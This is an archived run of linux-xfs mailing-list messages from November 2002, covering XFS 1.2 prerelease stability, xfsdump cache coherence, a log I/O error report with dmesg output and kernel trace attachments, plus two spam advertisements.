Date: Thu Nov 7 15:01:11 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132395a cmd/xfsdump/VERSION - 1.43 cmd/xfsdump/doc/CHANGES - 1.51 cmd/xfsdump/debian/changelog - 1.34 - Bump version for switch to ncurses libs/headers. From owner-linux-xfs@oss.sgi.com Thu Nov 7 16:43:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 16:43:10 -0800 (PST) Received: from server4.adrenamail.com ([67.41.175.41]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA80h2uR006430 for ; Thu, 7 Nov 2002 16:43:04 -0800 Received: from adrenamail.com (unknown [67.41.175.93]) by server4.adrenamail.com (Postfix) with ESMTP id 0020451C14E; Thu, 7 Nov 2002 19:38:34 -0500 (EST) To: Important@server4.adrenamail.com, message@server4.adrenamail.com Subject: Never make a cold call again. MIME-Version: 1.0 In-Reply-To: Do-not-reply@uharvest.com Message-Id: <20021108003835.0020451C14E@server4.adrenamail.com> Date: Thu, 7 Nov 2002 19:38:35 -0500 (EST) From: Do-not-reply@uharvest.com Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 605 X-archive-position: 1579 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Do-not-reply@uharvest.com Precedence: bulk X-list: linux-xfs Hello U-harvest turns your PC to a powerful marketing machine. It scans, in a blinding speed, every word and every page of targeted, well defined list of websites, defined by your favorite search engine and harvests e-mail addresses. U-harvest sends personalized messages to many recipients, mail merge with other databases, tracks campaigns and much more. For more information and a free trial, please visit www.uharvest.com U-harvest- business at the speed of thought. This is a one time message.We will not contact you again unless you ask for more information. [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Thu Nov 7 19:41:33 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 19:41:39 -0800 (PST) Received: from mail02.securities.com (mail02.securities.com [57.69.15.72]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA83fWuR008124 for ; Thu, 7 Nov 2002 19:41:33 -0800 Received: from mail02.securities.com (localhost [127.0.0.1]) by mail02.securities.com (8.12.5/8.12.5-DELIVERY) with ESMTP id gA83gk8F028205 for ; Thu, 7 Nov 2002 22:42:47 -0500 Received: from mail02.securities.com (localhost [127.0.0.1]) by mail02.securities.com (8.12.5/8.12.5-SMTP) with ESMTP id gA83gkla028197 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 7 Nov 2002 22:42:46 -0500 Received: from localhost (venevene@localhost) by mail02.securities.com (8.12.5/8.12.5/Submit) with ESMTP id gA83gkvc028192; Thu, 7 Nov 2002 22:42:46 -0500 X-Authentication-Warning: mail02.securities.com: venevene owned process doing -bs Date: Thu, 7 Nov 2002 22:42:45 -0500 (EST) From: Benito Venegas To: Seth Mos cc: Subject: XFS1.2-pre2 (or 3) in Dell HW Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1580 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: venevene@securities.com Precedence: bulk X-list: linux-xfs Seth, XFS Team: Any idea if current kernels in oss.sgi.com: kernel-2.4.18-17SGI_XFS_1.2pre3 kernel-2.4.19-SGI_XFS_1.2pre3 Are stable working with PE2450 with QLogic QLA2200, and working as NFS server too? We need to do an update to our servers. I don;t have any server to "play" now, so I'll need to take my decision based in your feedback "boys". Also, I have several servers PE2550, 4200, 6300, 6400, 750N. I'd appreciate your information. Thanks -- Benito From owner-linux-xfs@oss.sgi.com Thu Nov 7 21:56:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 21:56:21 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA85uHuR010334 for ; Thu, 7 Nov 2002 21:56:17 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id VAA09323 for ; Thu, 7 Nov 2002 21:57:31 -0800 (PST) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gA85uUZ10441; Fri, 8 Nov 2002 16:56:30 +1100 Date: Fri, 8 Nov 2002 16:56:30 +1100 From: Keith Owens Message-Id: <200211080556.gA85uUZ10441@sherman.melbourne.sgi.com> Subject: TAKE - Upgrade kdb to 2.4.20-rc1 X-archive-position: 1581 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs From kdb/Changelog. 2002-11-08 Keith Owens * Upgrade to 2.4.20-rc1. * Fix processing with O(1) scheduler. * 'go' switches back to initial cpu first. * 'go
' only allowed on initial cpu. * 'go' installs the global breakpoints from the initial cpu before releasing the other cpus. * If 'go' has to single step over a breakpoint then it single steps just the initial cpu, installs the global breakpoints then releases the other cpus. * General clean up of handling for breakpoints and single stepping over software breakpoints. The use of O(1) scheduler required signifcant changes to the way that breakpoints were handled, especially when typing 'go' and single stepping over software breakpoints. Caveat emptor. Date: Thu Nov 7 21:35:09 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132445a linux/drivers/char/serial.c - 1.59 linux/drivers/usb/usbkbd.c - 1.21 linux/kdb/kdb_bp.c - 1.14 linux/include/linux/kdb.h - 1.26 linux/kdb/kdbmain.c - 1.31 linux/arch/i386/kdb/kdba_bp.c - 1.16 linux/kdb/ChangeLog - 1.24 linux/arch/i386/kdb/ChangeLog - 1.12 From owner-linux-xfs@oss.sgi.com Thu Nov 7 23:40:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 23:40:21 -0800 (PST) Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA87eDuR011411 for ; Thu, 7 Nov 2002 23:40:14 -0800 Received: from auto-nb1.xs4all.nl (coltex.xs4all.nl [213.84.127.28]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id gA87fRgg064487; Fri, 8 Nov 2002 08:41:28 +0100 (CET) Message-Id: <4.3.2.7.2.20021108082820.03f20090@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 08 Nov 2002 08:40:20 +0100 To: Benito Venegas From: Seth Mos Subject: Re: XFS1.2-pre2 (or 3) in Dell HW Cc: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1582 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 22:42 7-11-2002 -0500, Benito Venegas wrote: >Seth, XFS Team: > >Any idea if current kernels in oss.sgi.com: > >kernel-2.4.18-17SGI_XFS_1.2pre3 >kernel-2.4.19-SGI_XFS_1.2pre3 > >Are stable working with PE2450 with QLogic QLA2200, and working as NFS >server too? Since you especially mention the QLA2200. Be very careful about kernel upgrades. I have seen lot's of trouble on linux-poweredge with repect to this controller. Test very carefully and have backups. The only kernel that is a bit safe in this respect is the RH based kernel since that one has patched drivers. I have not been able to test any of the prereleases yet in any of the selfcompiled versions as these hang on my PE1300 testbox. >We need to do an update to our servers. I don;t have any server to "play" >now, so I'll need to take my decision based in your feedback "boys". You can try the RH kernel. It has the best chance to just work. >Also, I have several servers PE2550, 4200, 6300, 6400, 750N. I don't have any production boxes yet that are running a 1.2pre release since I can't get it to even boot on my testbox. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Fri Nov 8 00:03:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 00:03:15 -0800 (PST) Received: from quasar.sif.it (IDENT:root@quasar.sif.it [131.154.110.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA8837uR012020 for ; Fri, 8 Nov 2002 00:03:09 -0800 Received: from localhost (matteo@localhost) by quasar.sif.it (8.11.6/8.11.6) with ESMTP id gA8855x23885; Fri, 8 Nov 2002 09:05:05 +0100 Date: Fri, 8 Nov 2002 09:05:05 +0100 (CET) From: Matteo Centonza To: Eric Sandeen cc: "linux-xfs@oss.sgi.com" Subject: Re: Next Release / devel tree? In-Reply-To: <1036700105.17400.2.camel@stout.americas.sgi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1583 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: matteo@sif.it Precedence: bulk X-list: linux-xfs Hi, > > can someone take a short amount of time to outline what some of these > > "mustfix" bugs are/1.2 prerelease "issues" remaining to be fixed? Are > > the 1.2 prereleases "safe" to use on production data (i.e. outstanding > > bugs only pop up under really rare conditions, other "issues" are > > nice-to-haves but don't affect functionality) or should we be careful > > with them? > > There was a filesystem force shutdown on nfs-exported filesystems, and > very hard to hit data corruption case with fs blocksize < pagesize, mmap > IO, and high memory pressure... I don't think anyone ever hit it outside > of SGI. This is fixed (crossed fingers!) in -pre3. i'm with 6 november CVS code (2 day uptime) and (keeping the fingers crossed ;)) the first bug you've mentioned seems to be solved (usually oops raised within few hours). Thanks, -m From owner-linux-xfs@oss.sgi.com Fri Nov 8 03:52:05 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 03:52:07 -0800 (PST) Received: from hotmail.com (oe52.law9.hotmail.com [64.4.8.41]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA8Bq5uR027284 for ; Fri, 8 Nov 2002 03:52:05 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 8 Nov 2002 03:53:16 -0800 X-Originating-IP: [213.23.28.154] From: "Kai Leibrandt" To: Subject: Page restriction of dump also applicable to xfsdump? Date: Fri, 8 Nov 2002 12:53:00 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2720.3000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-ID: X-OriginalArrivalTime: 08 Nov 2002 11:53:16.0995 (UTC) FILETIME=[6CDBF130:01C2871D] X-archive-position: 1584 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: k_leibrandt@hotmail.com Precedence: bulk X-list: linux-xfs Hi all, I was just browsing redhat.com when I struck the following http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/admin-primer/s1-disa ster-backups.html. Basically linux says stay well away from dump when using ext2 and ext3 when using any kernels 2.4.x and above. As he says the cause of this is that the page and buffer cache are no longer coherent, I am wondering if this also applies to xfs filesystems and xfsdump/xfsrestore; they use the same caches, right? If this _does_ apply to xfs then I guess dump is out the window even on xfs filesystems, which would really be a pain as I prefer [xfs]dump over tar or cpio by a mile. Many thanks for any answers, Kai. From owner-linux-xfs@oss.sgi.com Fri Nov 8 04:08:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 04:08:39 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA8C8ZuR028637 for ; Fri, 8 Nov 2002 04:08:35 -0800 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id GAA76780; Fri, 8 Nov 2002 06:09:46 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-23.corp.sgi.com [134.15.64.23]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id GAA22457; Fri, 8 Nov 2002 06:09:40 -0600 (CST) Subject: Re: Page restriction of dump also applicable to xfsdump? From: Stephen Lord To: Kai Leibrandt Cc: linux-xfs@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 08 Nov 2002 06:04:51 -0600 Message-Id: <1036757093.1517.1.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1585 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Fri, 2002-11-08 at 05:53, Kai Leibrandt wrote: > Hi all, > > I was just browsing redhat.com when I struck the following > http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/admin-primer/s1-disa > ster-backups.html. Basically linux says stay well away from dump when using > ext2 and ext3 when using any kernels 2.4.x and above. As he says the cause > of this is that the page and buffer cache are no longer coherent, I am > wondering if this also applies to xfs filesystems and xfsdump/xfsrestore; > they use the same caches, right? > If this _does_ apply to xfs then I guess dump is out the window even on xfs > filesystems, which would really be a pain as I prefer [xfs]dump over tar or > cpio by a mile. > Many thanks for any answers, > > Kai. > > xfsdump is designed to work on a live filesystem, it does not the same mechanisms as dump, but reads file data through system calls and hence through the cache. So it is coherent with read write. In fact xfsdump does not work on an unmounted filesystem. Steve From owner-linux-xfs@oss.sgi.com Fri Nov 8 08:31:48 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 08:31:54 -0800 (PST) Received: from imf07bis.bellsouth.net (mail307.mail.bellsouth.net [205.152.58.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA8GVmuR006418 for ; Fri, 8 Nov 2002 08:31:48 -0800 Received: from TAZ2 ([66.156.1.101]) by imf07bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021108163445.GUOE282.imf07bis.bellsouth.net@TAZ2>; Fri, 8 Nov 2002 11:34:45 -0500 Date: Fri, 8 Nov 2002 11:32:51 -0500 From: Greg Freemyer Subject: re[2]: Next Release / devel tree? To: Russell Cattelan , "Timothy E. Miller" cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021108163445.GUOE282.imf07bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gA8GVmuR006419 X-archive-position: 1586 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> We think we have nailed a couple of the most pressing "mustfix" bugs, >> and are now focusing on some performance issues. >> If things go really well MAYBE 1.2 will be ready the week before >> thanksgiving but don't count on it. We are probably looking at the first >> week in December. Is 2.4.20 supposed to be released by then? I assume you will release XFS 1.2 against a released kernel. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Nov 8 11:02:15 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 11:02:21 -0800 (PST) Received: from ubergeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA8J2FuR014828 for ; Fri, 8 Nov 2002 11:02:15 -0800 Received: (qmail 12595 invoked by uid 500); 8 Nov 2002 19:02:43 -0000 Subject: Re: XFS1.2-pre2 (or 3) in Dell HW From: Austin Gonyou To: Seth Mos Cc: Benito Venegas , linux-xfs@oss.sgi.com In-Reply-To: <4.3.2.7.2.20021108082820.03f20090@pop.xs4all.nl> References: <4.3.2.7.2.20021108082820.03f20090@pop.xs4all.nl> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 08 Nov 2002 13:02:43 -0600 Message-Id: <1036782163.12446.3.camel@ubergeek> Mime-Version: 1.0 X-archive-position: 1587 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs On Fri, 2002-11-08 at 01:40, Seth Mos wrote: > At 22:42 7-11-2002 -0500, Benito Venegas wrote: > >Seth, XFS Team: > > > >Any idea if current kernels in oss.sgi.com: > > > >kernel-2.4.18-17SGI_XFS_1.2pre3 > >kernel-2.4.19-SGI_XFS_1.2pre3 > > > >Are stable working with PE2450 with QLogic QLA2200, and working as NFS > >server too? > Since you especially mention the QLA2200. Be very careful about kernel > upgrades. I have seen lot's of trouble on linux-poweredge with repect to > this controller. Test very carefully and have backups. > > The only kernel that is a bit safe in this respect is the RH based > kernel since that one has patched drivers. 2.4.18-17 sgi kernel is RH's kernel with XFS patches, isn't it? What patched drivers are you referring to anyway? > I have not been able to test any of the prereleases yet in any of the > selfcompiled versions as these hang on my PE1300 testbox. > >We need to do an update to our servers. I don;t have any server to > "play" > >now, so I'll need to take my decision based in your feedback "boys". > > You can try the RH kernel. It has the best chance to just work. Dell recommends you use the Qlogic drivers on their site, or the similar versions from qlogic.com. Not the RH one's however. > >Also, I have several servers PE2550, 4200, 6300, 6400, 750N. > > I don't have any production boxes yet that are running a 1.2pre release > since I can't get it to even boot on my testbox. From owner-linux-xfs@oss.sgi.com Fri Nov 8 14:20:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 14:20:27 -0800 (PST) Received: from www.xactmailer.net ([61.11.48.151]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA8MK8uR019905 for ; Fri, 8 Nov 2002 14:20:13 -0800 Message-Id: <200211082220.gA8MK8uR019905@oss.sgi.com> Received: (qmail 8462 invoked from network); 7 Nov 2002 04:53:07 -0000 Received: from unknown (HELO xactmailer.net) (61.11.48.195) by 0 with SMTP; 7 Nov 2002 04:53:07 -0000 From: Pressure Measuring Film To: Engineers@oss.sgi.com Subject: New precise pressure measuring technology for engineers Reply-To: pressuresolutions@xactmailer.net Date: 07 Nov 2002 09:59:32 +0530 MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit X-archive-position: 1588 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sensorproducts@xactmailer.net Precedence: bulk X-list: linux-xfs Have you received a Pressurex Sensor Film sample?

Pressure Indicating Sensor Film

Dear Engineer:

I am writing to inform you of a new product of ours, Pressurex® - a thin sensor film that, by changing color, reveals stress distribution and magnitude between any two surfaces that come in contact. The intensity of the resultant color is quantifiable and enables you to determine precisely what the PSI is at any point on the contacting surfaces. Film color translates to pressure by comparison to a color calibration table or by utilizing an optional imaging system. This product is useful for assessing interfacial stresses that occur at gasketed and flanged interfaces, in any kind of bolted joint or clamp, in lamination presses, roller systems and heat sealers, during welding, in materials testing and from impact forces.

Click on a button below for a FREE sample of pressure film. In your email please briefly describe your application. It is also imperative that you include your address, phone and fax in the body of your email response. Without it we cannot process your request. If you experience any difficulty with the links below, you can click here for information/sample requests.

  Pressure-map images

 

  

 

 

  Micro (2-20 PSI)
  Ultra Low (28-85 PSI)
  Super Low (70-350 PSI)
  Low (350-1,400 PSI)
  Medium (1,400-7,100 PSI)
  High (7,100-19,000 PSI)

 

 

Pressure-map images



Bill Ebner
Sensor Products Inc.
188 Rt. 10 Suite 307
East Hanover, NJ 07936-2108 USA
www.fuji-prescale.com
 973.560.9092
fax 973-884-1699
pressuresolutions@xactmailer.net


Further transmissions to you by the sender of this email may be stopped by clicking here, removing you from our lists.

From owner-linux-xfs@oss.sgi.com Fri Nov 8 16:52:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 16:52:28 -0800 (PST) Received: from BOSSW2K.plustream.com (sdsl-64-139-1-6.dsl.sca.megapath.net [64.139.1.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA90qMuR029469 for ; Fri, 8 Nov 2002 16:52:22 -0800 Subject: Cat: input/output error using evms&xfs MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 8 Nov 2002 16:53:41 -0800 Message-ID: content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Cat: input/output error using evms&xfs Thread-Index: AcKHMobavLQaFlRNR7aePtap6Gl2kAAVo08g From: "Michael Nguyen" To: Cc: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gA90qMuR029470 X-archive-position: 1589 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: michael.nguyen@corosoft.com Precedence: bulk X-list: linux-xfs Hello, Previously, I sent an email regarding a failure in creating a large file using "cat.. >> ..". Attach below is the dmesg from i/o error. Can anyone help explain its meaning. Many thanks, Michael. ------------------------------ # mkfs.xfs -l size=32768b /dev/evms/lvm/myvg/mylv # mount -t xfs /dev/evms/... /myfs # cp /root/tempfile /myfs/BIGfile // tempfile is a 3GB dummy file # cat /root/tempfile >> /myfs/BIGfile # cat /root/tempfile >> /myfs/BIGfile # cat /root/tempfile >> /myfs/BIGfile # cat /root/tempfile >> /myfs/BIGfile # cat: write error: Input/Output error # umount /myfs // recovery # xfs_repair -L /dev/evms... # mount -t xfs /dev/evms/... /myfs // try again # cat /root/tempfile >> /myfs/BIGfile # cat /root/tempfile >> /myfs/BIGfile # cat: write error: Input/Output error ------------------------------ Dmesg: XFS mounting filesystem evms(117,4) (scsi0:A:0:0): Locking max tag count at 64 (scsi0:A:2:0): Locking max tag count at 64 I/O error in filesystem ("evms(117,4)") meta-data dev 0x7504 block 0x2001ff2 ("xlog_iodone") error 5 buf count 23552 xfs_force_shutdown(evms(117,4),0x2) called from line 939 of file xfs_log.c. Ret urn address = 0xc02258b7 Log I/O Error Detected. Shutting down filesystem: evms(117,4) Please umount the filesystem, and rectify the problem(s) XFS mounting filesystem evms(117,4) I/O error in filesystem ("evms(117,4)") meta-data dev 0x7504 block 0x2001fe3 ("xlog_iodone") error 5 buf count 24064 xfs_force_shutdown(evms(117,4),0x2) called from line 939 of file xfs_log.c. Ret urn address = 0xc02258b7 Log I/O Error Detected. Shutting down filesystem: evms(117,4) Please umount the filesystem, and rectify the problem(s) XFS mounting filesystem evms(117,4) From owner-linux-xfs@oss.sgi.com Fri Nov 8 17:23:27 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 17:23:30 -0800 (PST) Received: from ubergeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA91NRuR030461 for ; Fri, 8 Nov 2002 17:23:27 -0800 Received: (qmail 16327 invoked by uid 500); 9 Nov 2002 01:23:56 -0000 Subject: Stack traces. From: Austin Gonyou To: linux-xfs@oss.sgi.com Content-Type: multipart/mixed; boundary="=-hmYfcYU4I6+pcuMoWQhd" X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 08 Nov 2002 19:23:56 -0600 Message-Id: <1036805036.12615.201.camel@ubergeek> Mime-Version: 1.0 X-archive-position: 1590 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs --=-hmYfcYU4I6+pcuMoWQhd Content-Type: text/plain Content-Transfer-Encoding: 7bit I've got a stack trace on a system and wanted someone to look at them. If anyone could I'd much appreciate it. I'm running kernel 2.4.19-aa1, yes, I know I need to patch it to update the xfs code. I'm running LVM, and qlogic 2300's on this box with driver 6.01. I know there are issues with all of this, but I would like some feedback and discussion about it. I'm going to attempt to reproduce it again. If anyone could advise on how best to do this as well, I'd much appreciate it. Austin --=-hmYfcYU4I6+pcuMoWQhd Content-Disposition: attachment; filename=kerneldump.txt.gz Content-Type: application/x-gzip; name=kerneldump.txt.gz Content-Transfer-Encoding: base64 H4sICD5azD0AA2tlcm5lbGR1bXAudHh0AH1TwW7UMBA9x18xiEsrlWrs2LET lZWqpSAEVVdqOVV7cOxJiRplw2Yryt9jJ02yRYCVw7x5njfz7Phm1/UFYFgg zuU5z+Eth9vrDVzvWrhxB9DAeYHhU7D+cAcCUbD15lsBiWBXnzdFgsixuL9w yK3mpV5tkztbtwfyBWzY1cevl59u46awS4RSss8F+KxKdaldQuXz2DzyCbkF YUI+IFJOVcIgo74+rvP1wgWVrgCXp6WQsa6PSGNWuRKZH9xxAwC0hP1LyDb7 naO+h/6n7Traw0lXh7nxDPqDdY+dfaD3g1QY6JTdxlzQDk4zp8tkGmDuPQ84 ugh+/0HxLM0YjCti6az5z9ajPci9qLT8s5N5JRfxdJD2SBcld1Sav+hOpz4H bG2bBu721lERZccLjrZX2xEMcyzAI07A6dzQAHxupFEmXW0ZTJx1s4TLDC4S lUvNBCgMmL4AkVqv1ALI6FlPBGupmHv5MnIjI5WW1cQo6bNFT2YiX0CqcJmP U2Xm+ThRyhdQljODNtc0g4yy2Tx6Ic2i95rLyORHgGbz3KrIsOudf2rij3p/ 8qOxIkUsBmOIQWUItbIOV6dbtt75cDWmBMnDqwSTgxQgJRgV/hLQCggHVkA6 JyWgDm9jTDK4wNUX2rfUQGfb2hVwWROdwWPdNHX7APEV75+6A3y3rW9o/4Z9 bsfkcRbeQbs7QP+rdaGI/QZZF8+OUQQAAA== --=-hmYfcYU4I6+pcuMoWQhd Content-Disposition: attachment; filename=kerneltrace.txt.gz Content-Type: application/x-gzip; name=kerneltrace.txt.gz Content-Transfer-Encoding: base64 H4sICE1gzD0AA2tlcm5lbHRyYWNlLnR4dAClV21v2zYQ/q5fccM2IIGSiNS7 XddDkaZDsXXJmnb7MBQCRVKJZllyRblx/v2O1FukuEOHEYal4x2fO94bqY16 3FbVToF74V9QqErIwzhsqcUFwPWuyatSwV5JYYEe53/AidpJnme5FKfd3Aac XV1xZ4Nw6gi/6PjbSuwLeUyiAqfI017AaQ1wjghuwUmrqnFuH1UjtxdbtpsI WX+yuszLOzjh1XbHapmghDpdgjEtSZmSgG9pVYCSTcJ3e5WwoqgepEjeJ8kX WSfzeSirBrJqXwrISxj1onve3pVVrbU9QZdlUz9a1+jUJRAcnTPhewq3727g Hfr4mjcQAaVLgr8ALl9/AJcQ17q8+bjUm3Stq7c35o0QSpZ/rTihLKJptP4E 8IHlZSPFEm6sj0rrFjJj+6JRkNXV1lhiInregCwyzz3PPYzoOQP9tK7e/Prq 51tjGSUu6pTssAQRZl6URhw1yvTQ2q0ljMslH2cItEMKnJMBDzI3JpZU+RRD 5CO3lU93S+ALL3X9EUPpuYiEGU+JJYy7aGwYw6vqXq0bTB+pFKgHttvJGk52 ObqAnIFqGN/s2J18aaDQxFPrVs8hNnot5FE6mjJYMBhrNoV++AqLhl5odfZq 2ucs/hfRJzKECjeL/LmmeAKn6d617Aku8SmXaXwEd4hD/2JdYprCh5pxaTKm TRa9bUwWQxg7RkIQ0hM8WsTSEGIR+3EQe+tPFvQ8xgcIHsZkhMi4F/eERAO9 jnA9JoJgJGQcDXgubs1zB10i1byW4weRn/WcwBfhiOeH7mIkvICM9lGZxYN9 VEqPjkSaDhzCFpEciFCGw+aJcP14xJvyQhkvnhBy2DxlgeZYl5VAf8cp+BRr F+IF+C74PsQBhh6iACQxXBe8YdIHEmHCt5OWtV5jlb+AvrZhdciwheyzJMcG k9SyUNKOHI+sMaqrl3pYJswvxsSeLtmXu7y0/dSJyfqJaJuHRrSpWakSfr8v Nwn2x23eYCexqfAdl8TTNZgmkzWDtE8cOcE3WYSyRXWXYDU2MhFVwjErU6xC m0bSccNxQZ9psLr67XVy/Sa5vH59ZVMSBS7jvvMTjik4puEMvJSJeiw59j47 SJ1oaozO1E4+r7SsHfkOmzpEJzCsdNMwvmvFvHjmN5PasEpkKZJeVj9xQbLF hpuj1Z5D6dNFbQnASnGVJ5/3ci+TUh4ajCYSqrH9wKFktgDLBLUkZonW1ctG kUO9qayuoQ4cjdAnXCH1AW1jB3P8dOplXWPPvRwTHs+93JYgrOqHBM+W2nZp 5rjeBM3U5XO0zGXPYtaWbWdmlpe5ujfpw0phi8U0edqq7mTTqmmqbXLPigz/ SlHI2uZkYklf+LBK7xPGzd6fJbzpBrBqmNqge5L7vJcM6SwTTKuAFearqrIm rz/bUTrLbtNAjMjb97/bmZwFvO0byG8P4SRHq23i+FMZ3WpgpWsi6YACR/xn 